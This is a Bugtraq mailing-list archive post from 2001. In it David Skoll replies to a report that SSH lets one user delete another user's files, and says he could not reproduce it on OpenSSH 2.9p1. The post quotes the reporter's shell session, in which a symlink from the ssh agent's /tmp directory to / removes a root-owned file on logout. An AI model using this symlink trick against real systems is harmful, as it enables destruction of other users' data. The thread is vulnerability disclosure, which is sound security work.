Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: SSH allows deletion of other users files...
From: "David F. Skoll" <dfs () roaringpenguin com>
Date: Mon, 4 Jun 2001 11:19:37 -0400 (EDT)

On Mon, 4 Jun 2001 zen-parse () gmx net wrote:

 [root () clarity /root]# touch /cookies;ls /cookies
 /cookies
 [root () clarity /root]# ssh zen () localhost
 zen () localhost's password:
 [zen () clarity zen]$ rm -r /tmp/ssh-XXW9hNY9/; ln -s / /tmp/ssh-XXW9hNY9
 [zen () clarity zen]$ logout

 [root () clarity /root]# ls /cookies
 /bin/ls: /cookies: No such file or directory

I could not duplicate this with OpenSSH 2.9p1-1 on Red Hat 6.2

--
David.


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]